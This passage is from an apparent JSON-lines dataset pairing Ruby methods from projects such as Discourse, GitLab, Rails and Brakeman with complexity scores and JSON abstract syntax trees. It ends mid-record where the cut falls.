{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/manager.rb","start_line":76,"raw_source":"def self.precompile_theme_css\n    themes =\n      Theme.where(\"user_selectable OR id = ?\", SiteSetting.default_theme_id).pluck(\n        :id,\n        :color_scheme_id,\n        :dark_color_scheme_id,\n      )\n\n    color_schemes = ColorScheme.where(user_selectable: true).to_a\n    color_schemes << ColorScheme.base\n    color_schemes = color_schemes.compact.uniq\n\n    targets = %i[common_theme desktop_theme mobile_theme]\n    targets += targets.map { |t| :\"#{t}_rtl\" }\n    compiled = Set.new\n\n    themes.each do |theme_id, light_color_scheme_id, dark_color_scheme_id|\n      manager = self.new(theme_id: theme_id)\n\n      targets.each do |target|\n        next if theme_id == -1\n\n        scss_checker = ScssChecker.new(target.to_s.delete_suffix(\"_rtl\"), manager.theme_ids)\n\n        manager\n          .load_themes(manager.theme_ids)\n          .each do |theme|\n            next if compiled.include?(\"#{target}_#{theme.id}\")\n\n            builder =\n              Stylesheet::Manager::Builder.new(target: target, theme: theme, manager: manager)\n\n            next if !scss_checker.has_scss(theme.id)\n            $stderr.puts \"precompile target: #{target} #{theme.name}\"\n            builder.compile(force: true)\n            compiled << \"#{target}_#{theme.id}\"\n          end\n      end\n\n      theme_color_scheme = ColorScheme.find_by_id(light_color_scheme_id)\n      theme_dark_color_scheme = ColorScheme.find_by_id(dark_color_scheme_id)\n      theme = manager.get_theme(theme_id)\n      [theme_color_scheme, theme_dark_color_scheme, *color_schemes].compact.uniq.each do |scheme|\n        $stderr.puts \"precompile target: #{COLOR_SCHEME_STYLESHEET} #{theme.name} (#{scheme.name})\"\n        Stylesheet::Manager::Builder.new(\n          target: COLOR_SCHEME_STYLESHEET,\n          theme: theme,\n          color_scheme: scheme,\n          manager: manager,\n        ).compile(force: true)\n      end\n\n      clear_color_scheme_cache!\n    end\n\n    nil\n  end","complexity_score":89.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"precompile_theme_css\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"themes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"where\",{\"type\":\"str\",\"children\":[\"user_selectable OR id = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"default_theme_id\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"color_scheme_id\"]},{\"type\":\"sym\",\"children\":[\"dark_color_scheme_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"color_schemes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColorScheme\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_selectable\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color_schemes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColorScheme\"]},\"base\"]}]},{\"type\":\"lvasgn\",\"children\":[\"color_schemes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color_schemes\"]},\"compact\"]},\"uniq\"]}]},{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"common_theme\"]},{\"type\":\"sym\",\"children\":[\"desktop_theme\"]},{\"type\":\"sym\",\"children\":[\"mobile_theme\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"targets\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"str\",\"children\":[\"_rtl\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"compiled\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"themes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_id\"]},{\"type\":\"arg\",\"children\":[\"light_color_scheme_id\"]},{\"type\":\"arg\",\"children\":[\"dark_color_scheme_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"manager\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"theme_id\"]},{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"target\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_id\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"scss_checker\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ScssChecker\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"to_s\"]},\"delete_suffix\",{\"type\":\"str\",\"children\":[\"_rtl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"theme_ids\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"load_themes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"theme_ids\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compiled\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"id\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stylesheet\"]},\"Manager\"]},\"Builder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"theme\"]},{\"type\":\"lvar\",\"children\":[\"theme\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"manager\"]},{\"type\":\"lvar\",\"children\":[\"manager\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scss_checker\"]},\"has_scss\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"id\"]}]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"precompile target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"compile\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compiled\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"id\"]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"theme_color_scheme\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColorScheme\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"light_color_scheme_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"theme_dark_color_scheme\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ColorScheme\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"dark_color_scheme_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"theme\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manager\"]},\"get_theme\",{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_color_scheme\"]},{\"type\":\"lvar\",\"children\":[\"theme_dark_color_scheme\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color_schemes\"]}]}]},\"compact\"]},\"uniq\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scheme\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"precompile target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLOR_SCHEME_STYLESHEET\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scheme\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stylesheet\"]},\"Manager\"]},\"Builder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"const\",\"children\":[null,\"COLOR_SCHEME_STYLESHEET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"theme\"]},{\"type\":\"lvar\",\"children\":[\"theme\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_scheme\"]},{\"type\":\"lvar\",\"children\":[\"scheme\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"manager\"]},{\"type\":\"lvar\",\"children\":[\"manager\"]}]}]}]},\"compile\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"clear_color_scheme_cache!\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"720e0b42-2699-4e2a-8dad-16476a7c3517"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20240712050324_default_github_onebox_token.rb","start_line":4,"raw_source":"def up\n    existing_token =\n      DB.query_single(\n        \"SELECT value FROM site_settings WHERE name = 'github_onebox_access_token'\",\n      ).first\n\n    # 8 is the data type for a list\n    execute <<~SQL if existing_token.present?\n      INSERT INTO site_settings (name, data_type, value, created_at, updated_at)\n      VALUES ('github_onebox_access_tokens', 8, 'default|#{existing_token}', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)\n      ON CONFLICT DO NOTHING\n    SQL\n\n    execute <<~SQL\n      DELETE FROM site_settings WHERE name = 'github_onebox_access_token'\n    SQL\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query_single\",{\"type\":\"str\",\"children\":[\"SELECT value FROM site_settings WHERE name = 'github_onebox_access_token'\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_token\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings (name, data_type, value, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES ('github_onebox_access_tokens', 8, 'default|\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_token\"]}]},{\"type\":\"str\",\"children\":[\"', CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT DO NOTHING\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"DELETE FROM site_settings WHERE name = 'github_onebox_access_token'\\n\"]}]}]}]}","id":"7eeac689-5a7b-4dd4-9438-e61e1550254e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/system/page_objects/pages/ai_usage.rb","start_line":6,"raw_source":"def visit\n        page.visit \"/admin/plugins/discourse-ai/ai-usage\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"str\",\"children\":[\"/admin/plugins/discourse-ai/ai-usage\"]}]}]}","id":"643708c9-0748-4aa0-b0fa-7fe59efb740b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/subscriptions/base_subscription.rb","start_line":37,"raw_source":"def unauthorized!\n      unsubscribe if context.query.subscription_update?\n\n      raise GraphQL::ExecutionError, UNAUTHORIZED_ERROR_MESSAGE\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"unauthorized!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"query\"]},\"subscription_update?\"]},{\"type\":\"send\",\"children\":[null,\"unsubscribe\"]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"ExecutionError\"]},{\"type\":\"const\",\"children\":[null,\"UNAUTHORIZED_ERROR_MESSAGE\"]}]}]}]}","id":"29027caa-db50-495a-8556-c337be515ab0"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/recaptcha/app/controllers/recaptcha/request_controller.rb","start_line":31,"raw_source":"def perform\n      if OpenProject::Recaptcha::Configuration.use_hcaptcha?\n        allow_captcha_service(:hcaptcha)\n      elsif OpenProject::Recaptcha::Configuration.use_turnstile?\n        allow_captcha_service(:turnstile)\n      elsif OpenProject::Recaptcha::Configuration.use_recaptcha?\n        allow_captcha_service(:recaptcha)\n      end\n    end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Recaptcha\"]},\"Configuration\"]},\"use_hcaptcha?\"]},{\"type\":\"send\",\"children\":[null,\"allow_captcha_service\",{\"type\":\"sym\",\"children\":[\"hcaptcha\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Recaptcha\"]},\"Configuration\"]},\"use_turnstile?\"]},{\"type\":\"send\",\"children\":[null,\"allow_captcha_service\",{\"type\":\"sym\",\"children\":[\"turnstile\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenProject\"]},\"Recaptcha\"]},\"Configuration\"]},\"use_recaptcha?\"]},{\"type\":\"send\",\"children\":[null,\"allow_captcha_service\",{\"type\":\"sym\",\"children\":[\"recaptcha\"]}]},null]}]}]}]}","id":"fa6f6aa4-b6b5-4b66-87c0-bc60a335cf5c"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/session/test_session_test.rb","start_line":72,"raw_source":"def test_session_id\n    session = ActionController::TestSession.new\n    assert_instance_of String, session.id.public_id\n    assert_equal(session.id.public_id, session[\"session_id\"])\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_session_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"session\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"TestSession\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"id\"]},\"public_id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"id\"]},\"public_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]\",{\"type\":\"str\",\"children\":[\"session_id\"]}]}]}]}]}","id":"abedb9a7-d0f3-48dd-84e0-239a7d9a1558"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/alert_management/alert_processing.rb","start_line":93,"raw_source":"def alert\n      strong_memoize(:alert) do\n        find_existing_alert || build_new_alert\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"alert\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"alert\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_existing_alert\"]},{\"type\":\"send\",\"children\":[null,\"build_new_alert\"]}]}]}]}","id":"140d6fdf-d039-428f-8599-6d69ada0a8d0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/invited_user_record_serializer.rb","start_line":21,"raw_source":"def days_visited\n    object.user_stat.days_visited\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"days_visited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"user_stat\"]},\"days_visited\"]}]}","id":"87cbb370-c4c7-4e4c-b763-448b4f946efb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/code_reuse_helpers.rb","start_line":37,"raw_source":"def name_of_constant(node)\n      node.children[1]\n    end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"name_of_constant\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"1fb7b778-899d-4f52-b9c0-f69cdf249def"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/exports/macros/attributes.rb","start_line":86,"raw_source":"def self.msg_macro_error(message)\n        msg_inline I18n.t(\"export.macro.error\", message:)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"msg_macro_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"msg_inline\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"export.macro.error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}","id":"aee3819c-a89c-4a28-9852-34624427a72e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_handler.rb","start_line":273,"raw_source":"def resolve_pool_config(config, connection_name, role, shard)\n          db_config = Base.configurations.resolve(config)\n          db_config.validate!\n          raise(AdapterNotSpecified, \"database configuration does not specify adapter\") unless db_config.adapter\n          ConnectionAdapters::PoolConfig.new(connection_name, db_config, role, shard)\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_pool_config\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]},{\"type\":\"arg\",\"children\":[\"connection_name\"]},{\"type\":\"arg\",\"children\":[\"role\"]},{\"type\":\"arg\",\"children\":[\"shard\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base\"]},\"configurations\"]},\"resolve\",{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"validate!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]},\"adapter\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AdapterNotSpecified\"]},{\"type\":\"str\",\"children\":[\"database configuration does not specify adapter\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConnectionAdapters\"]},\"PoolConfig\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"connection_name\"]},{\"type\":\"lvar\",\"children\":[\"db_config\"]},{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"shard\"]}]}]}]}","id":"e59d0d6e-88f5-4ffa-9b27-c5243553c5d3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/review_submission.rb","start_line":79,"raw_source":"def latest_resolution_center_messages(client: nil)\n        client ||= Spaceship::ConnectAPI\n        threads = fetch_resolution_center_threads(client: client)\n        threads.first.fetch_messages(client: client)\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"latest_resolution_center_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"send\",\"children\":[null,\"fetch_resolution_center_threads\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"first\"]},\"fetch_messages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]}]}]}","id":"eba5210e-dfbc-4722-b5b8-287318f1a485"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/duplicate_spec_location.rb","start_line":60,"raw_source":"def file_path_for_node(node)\n          node.source_range.source_buffer.name\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"file_path_for_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"source_buffer\"]},\"name\"]}]}","id":"56f5c39b-ba6a-40c2-a9a6-6cfab0037969"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/json_compare.rb","start_line":9,"raw_source":"def test_sanity\n    json_report = 'test-report.json'\n    ignored_warnings = [\n      'cd83ecf615b17f849ba28050e7faf1d54f218dfa9435c3f65f47cb378c18cf98',\n      'abcdef01234567890ba28050e7faf1d54f218dfa9435c3f65f47cb378c18cf98'\n    ]\n\n    # Here I go, abusing the rescan functionality again.\n    before_rescan_of ['app/models/account.rb', json_report], 'rails4' do |app_dir|\n      report_file = File.join(app_dir, json_report)\n\n      Brakeman.run(app_path: app_dir,\n                   parallel_checks: false,\n                   output_files: [report_file])\n\n      remove 'app/models/account.rb'\n\n      @diff = Brakeman.compare(app_path: app_dir,\n                               parallel_checks: false,\n                               previous_results_json: report_file)\n    end\n\n    assert_fixed 7\n    assert_new 0\n    assert_equal ignored_warnings, @diff[:obsolete]\n\n    # Man is obsolete!\n    # Our world, obsolete!\n  end","complexity_score":15.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sanity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_report\",{\"type\":\"str\",\"children\":[\"test-report.json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ignored_warnings\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"cd83ecf615b17f849ba28050e7faf1d54f218dfa9435c3f65f47cb378c18cf98\"]},{\"type\":\"str\",\"children\":[\"abcdef01234567890ba28050e7faf1d54f218dfa9435c3f65f47cb378c18cf98\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"app/models/account.rb\"]},{\"type\":\"lvar\",\"children\":[\"json_report\"]}]},{\"type\":\"str\",\"children\":[\"rails4\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"report_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"app_dir\"]},{\"type\":\"lvar\",\"children\":[\"json_report\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_path\"]},{\"type\":\"lvar\",\"children\":[\"app_dir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parallel_checks\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_files\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report_file\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove\",{\"type\":\"str\",\"children\":[\"app/models/account.rb\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@diff\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"compare\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\